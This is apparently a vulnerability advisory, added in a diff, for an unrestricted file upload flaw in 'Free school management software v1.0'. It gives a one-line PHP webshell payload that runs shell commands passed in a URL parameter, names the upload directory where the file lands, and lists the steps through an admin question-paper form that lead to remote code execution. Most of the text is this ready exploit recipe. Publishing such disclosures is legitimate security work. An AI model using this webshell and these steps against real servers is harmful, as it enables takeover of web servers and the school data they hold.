+Technical description:
+A unrestricted file upload vulnerability exists in the Free school
+management software v1.0. An attacker can leverage this vulnerability in
+order to get a remote code execution on the affected web server. Once a php
+webshell containing "<?php system($_GET["cmd"]); ?>"  gets uploaded it is
+getting save  into /uploads/exam_question/ directory, and is accessible by
+all users.  the attacker can gain remote code execution on the web server.
+
+Steps to exploit:
+1) Navigate to http://localhost/admin/manage_profile
+2) click "ADD NEW QUESTION PAPER" edit base infomation
+3) uploading a php webshell containing "<?php system($_GET["cmd"]); ?>" in
+the Field  "upload Drag and drop a file here or click"
